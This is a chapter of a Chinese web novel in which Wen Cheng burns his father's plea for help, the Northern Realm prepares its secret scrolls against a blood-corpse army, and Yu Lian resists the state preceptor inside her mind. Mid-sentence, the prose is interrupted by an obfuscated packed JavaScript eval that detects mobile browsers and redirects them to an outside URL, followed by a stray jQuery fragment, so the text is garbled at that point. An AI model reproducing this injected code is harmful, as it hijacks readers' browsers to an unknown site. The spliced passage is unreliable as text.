78. 危机将近

作品:《独尊贵妾

    文骋捏着信纸的指尖微微发颤,宣纸上父亲的字迹依旧圆润流畅,笔锋间却藏着一丝难以掩饰的慌乱。


    他默读着“京中剧变,文氏危在旦夕,望吾儿念及骨肉之情,引家族入北境避难”,喉间忽然涌上一股腥甜——那是雪山箭伤未愈的旧痛,也是心头翻涌的五味杂陈。


    三年前,父亲文松年在朝堂上弹劾沈烈通敌时,也是这样一笔一划,写得铁证如山。那时的文骋站在屏风后,看着父亲将伪造的书信呈给皇帝,看着沈烈被押下金銮殿时挺直的脊梁,只觉得胸口闷得喘不过气。如今想来,那些工整的字迹里,藏着多少亡魂的哀嚎。


    “呵……”他低笑出声,笑声在空旷的帐内回荡,带着几分自嘲,几分悲凉。烛火舔舐着信纸边缘,将“骨肉之情”四个字烧成蜷曲的灰烬。


    帐帘被风掀起一角,带进些微雪粒,落在手背上冰凉刺骨。文骋忽然想起少年时,父亲教他练字,握着他的手写下“忠君爱国”四个大字。那时的砚台里磨的是松烟墨,如今想来,倒像是磨着沈氏满门的骨血。他将信纸凑到烛火上,看着火苗一点点吞噬那些虚伪的文字,眼前却浮现出诏狱的景象——那里曾关押过沈家的旧部,石壁上的血痕至今未褪。


    “文府的消息?”景安抱着竹简进来时,正撞见他将灰烬扫进炭盆。


    文骋的手顿了顿,指甲缝里还沾着纸灰:“没什么。”他转过身时,恰好避开景安探究的目光,“不过是些做了太多恶事的人,在绝境里想抓根救命稻草罢了。”


    只是这根稻草,偏偏长在仇家的土地上。他望着榻上昏迷的虞怜,红袍在烛火下泛着柔和的光,忽然觉得荒谬——父亲若是知道,北境如今的掌舵人正是当年被他构陷的沈烈之女,怕是宁愿饮鸩自尽,也不会写下这封求助信。


    帐外的更鼓声敲了三下,文骋捻起一撮纸灰,看着它们在指间簌簌飘落。他想起文府祠堂里供奉的牌位,想起那些被家族荣光掩盖的罪恶,忽然明白母亲那句话的深意——有些债,迟早要还。而他能做的,或许就是让这场偿还,来得体面些。


    “虞怜怎么样了?”他岔开话题,声音里还带着未散的沙哑。


    “还没醒。”景安将竹简摊开,上面的北境秘术在烛火下泛着古老的光泽,“银苍大人说,这秘术分‘石’‘术’‘魂’三卷。‘石卷’记载着沉银的冶炼之法,说用雪山深处的地火淬炼,能让矿石坚硬如精钢,削铁如泥不在话下;‘术卷’是些提升血灵的法门,只是招式太过霸道,怕是会伤及自身;唯独这‘魂卷’……”


    景安指着竹简上扭曲缠绕的纹路,那些字符仿佛活物般在烛火下蠕动:“巫医说,这上面的文字像是用鲜血写成,寻常人看久了会心神不宁。银苍大人猜测,得是魂属性的血灵才能解读,整个北境,也就只有虞怜符合。”


    此时,帐外传来脚步声,银苍带着几位部族长老走进来。待长老们坐定,景安沉声对众人说道:“诸位,这北境秘术绝非寻常之物!‘石卷’能锻造克制血尸的神兵,‘术卷’可增强我等血灵之力,若能尽数破译,对付国师的血尸大军便有了十足胜算!眼下虽时间紧迫,但只要我们合力,定能在敌军抵达前有所突破!”


    长老们听后,眼中闪过一丝希冀,原本沉重的气氛稍稍缓和。银苍捋着花白的胡须,点头道:“景安说得在理,这秘术是我北境的希望,我们必须抓紧每一刻。”


    文骋的目光扫过“魂卷”的纹路,恍惚间竟看到沈烈与银璃的虚影在字符间一闪而过。他猛地回神,指尖按在冰凉的竹简上:“国师的血尸刀枪难入,寻常兵器根本起不了作用。若‘石卷’真能锻造出克制它们的神兵,或许还有一线生机。”


    “我们现在唯一的问题,是时间。”景安将另一卷竹简推到他面前,上面是银苍标注的边境急报,“黑石城昨夜失守,斥候亲眼看见血尸啃食活人,城墙上的守军连尸骨都没剩下。新皇带着十万大军御驾亲征,离王城只剩两日路程。”


    烛火突然爆出一声脆响,将两人的影子投在帐壁上,扭曲如鬼魅。


    议事结束后,文骋和景安回到王账,看着榻上昏迷的虞怜,她的眉头微微蹙着,像是在梦中也在经历苦战。他忽然想起在雪山矿脉,她为了救自己强行催动血灵,口吐鲜血的模样,心口像是被什么东西攥紧了。


    “让工匠们连夜赶工,先按‘石卷’的法子锻造兵器。”文骋站起身,玄色劲装在烛火下泛着冷光,“我带一队亲卫去雪山矿脉,那里的地火最旺,或许能加快进度。”


    “你伤势未愈……”景安欲言又止。


    “总好过城破后被血尸分食。”文骋的手按在腰间的长刀上,那刀鞘上还留着雪山矿脉的冰痕,“无论如何,我文骋在此立誓,定会替她守护好这座王城,直到流尽最后一滴血。”


    帐外的风雪越来越大,卷着远处传来的号角声,像是在为即将到来的血战奏响序曲。


    而在千里之外的中原大军中,国师正站在高台上,望着北境王城的方向。他手中的青铜铃轻轻晃动,铃音穿过风雪,传入埋在地下的血尸耳中。那些沉睡的怪物纷纷睁开空洞的眼,在黑暗中发出饥饿的嘶吼,只待一声令下,便会扑向那座即将沦陷的王城。


    新皇坐在温暖的銮驾里,把玩着国师献上的沉银酒杯,杯壁上倒映出他扭曲的笑:“等拿下北境,沉银矿就是朕的了。到时候,天下都是朕的。”


    “陛下,刚从诏狱传来消息,文松年那老狐狸根本不知道北境的秘辛,一直在拖延时间,等着文骋来救他呢。”国师走进銮驾,低声说道。


    新皇闻言,猛地将酒杯摔在地上,怒吼道:“废物!竟敢戏耍朕!来人,将文家满门拖出去斩了!”


    “陛下息怒。”国师连忙劝阻,“文松年虽无用,但文骋可是个关键人物。他公然叛出文家,却能被北境接纳,其中定有蹊跷。暂且留着文家性命,说不定日后能成为牵制文骋的筹码,派上大用场。”


    新皇气呼呼地坐下,冷哼道:“也罢,就听你的。不过这文家也别想好过,给他们点苦头尝尝。”


    国师点头应是,又道:“说起来,倒是可恨那陆柳,滑头得很,早在京中动乱时就不见了踪影。他与文骋交情不浅,若是能抓住他,用来威胁文骋投降,想必是极好的。”


    新皇眼中闪过一丝阴狠:“派人继续追查陆柳的下落,活要见人,死要见尸!”


    接下来的日子里,新帝的銮驾碾过北境的冻土,车轮下的积雪被压得咯吱作响。


    马车内,白楚端坐在软垫上,凤袍上的金线在晃动的烛火下泛着冷光。她的脊背挺得笔直,双手交叠放在膝头,姿势标准得像尊人偶。


    窗外的厮杀声、马蹄声、哀嚎声穿透车帘,她却连睫毛都未曾颤动一下,瞳孔里空得能映出马车顶上的雕花,只有腕间的锁魂铃随着车身颠簸,发出单调的轻响。


    虞怜的识海内。


    没有熟悉的草原,也没有银璃长公主的白裙残影。


    虞怜猛地睁开眼,发现自己被钉在石窟中央的石壁上。沉银锁链像活蛇般缠上四肢,链节上的银色符咒泛着冷光,每一次收缩都勒得骨头生疼。符咒里渗出的寒气顺着血脉蔓延,竟与她的血灵之力相互噬咬,疼得她眼前发黑。


    脚下是翻滚的烈火,却没有灼痛感,只有一种灵魂被炙烤的焦灼。那些火焰呈暗紫色,火苗尖端拖着扭曲的黑烟,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082905|179439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    细看之下,竟都是无数张痛苦挣扎的人脸——是被血尸吞噬的北境族人,是黑石城死难的百姓,是所有死于国师阴谋的亡魂。


    “虞怜,你已经困在这里十日了。”


    石壁突然嗡鸣起来,国师的声音从四面八方涌来,带着蛊惑的回响:“你看这烈火,烧的是仇恨,也是生机。”


    虞怜咬紧牙关,链锁勒入皮肉的地方渗出血珠,落在符咒上发出滋滋的声响。她看到石窟顶端的穹窿,那里刻着北境与中原的山川地图,两条巨龙的图腾在火光中纠缠,龙爪下的沉银矿脉脉络清晰,像极了人体的血脉。


    “沈烈的女儿,银璃的骨血。”国师的声音更近了,仿佛就贴在她耳边,“你以为北境的血灵是天赐?那是沉银矿脉三百年的怨气所化。你以为中原的皇权是天命?那是国师府代代相传的算计。”


    沉银锁链突然剧烈震颤,符咒的光芒刺得她睁不开眼。虞怜的识海里闪过无数画面:银后陵的壁画、雪山矿脉的秘术、白楚瞳中的血蛾、儿女被囚禁的哭嚎……这些碎片被烈火炙烤着,渐渐融成一片血色。


    “放开我!”她嘶吼着催动血灵,蓝瞳里爆发出银光,却被符咒反弹回来,震得她喉头腥甜。


    “何必挣扎?”国师的声音带着笑意,石壁上突然浮现出文骋的脸——他正站在雪山矿脉的地火旁,肩胛的箭伤渗着血,却仍在指挥工匠锻造兵器。紧接着是银坚的冰棺,巫医正往他嘴里灌着什么,冰晶在他唇间融化成水,却没能让他睁开眼。


    “北境快亡了。”国师的声音像淬了毒的针,“你的族人在血尸嘴里哀嚎,你的爱人在苦撑,你的舅舅躺在冰棺里生死未卜。而你,被锁在这里,什么都做不了。”


    烈火突然暴涨,那些亡魂的脸贴得更近,仿佛要钻进她的皮肤。虞怜的银铃在识海里疯狂作响,却穿不透石窟的壁垒。


    “我与你合作,又能如何?”虞怜的声音在颤抖,却异常清晰。


    石壁上的地图突然亮起,北境与中原的疆界在沉银矿脉的连接下渐渐模糊。国师的声音带着压抑不住的狂热:“用你的血灵唤醒全部沉银,用我的尸蛊肃清所有反抗。你做北境的女王,我做中原的相父,共治这万里江山。你的儿女会回到你身边,白楚会解除蛊毒,文骋……我可以给他一个世袭罔替的爵位。”


    沉银锁链上的符咒突然变得柔和,勒入皮肉的力道也减轻了。虞怜看着脚下的烈火渐渐平息,亡魂的脸露出解脱的神情,心中竟生出一丝动摇——如果这是真的呢?如果真能结束战争呢?


    “你看。”国师的声音像蜜糖,“仇恨是最无用的东西。沉银与尸蛊,本就是一体两面。”


    就在她的指尖即将触到那些柔和的符咒时,识海里突然响起银铃的脆响。那声音来自文骋腰间的那枚,来自雪山矿脉他护着她时的震颤,来自王帐里他守在榻前的低语。


    虞怜猛地清醒过来,蓝瞳里的血色瞬间褪去:“你骗我。”她盯着石壁上的地图,突然笑了,“沉银矿脉是北境的命脉,尸蛊是饮血的毒药。你要的不是共治,是让我做你的血灵容器,替你榨干沉银的最后一丝力量!”


    沉银锁链的符咒骤然爆发出刺眼的光,勒得她骨头咯吱作响。国师的声音不再掩饰杀意:“冥顽不灵!那你就陪着你的族人,一起在烈火里化为灰烬!”


    石窟剧烈摇晃起来,穹窿上的地图开始龟裂,沉银矿脉的脉络寸寸断裂。虞怜的血顺着锁链往下淌,落在脚下的烈火中,竟燃起了金色的火焰——那是魂属性血灵的本源之力,专克阴邪。


    “我不会让你得逞。”她的声音在金色火焰中变得异常清晰,“北境的血灵,从来不是任人摆布的工具。”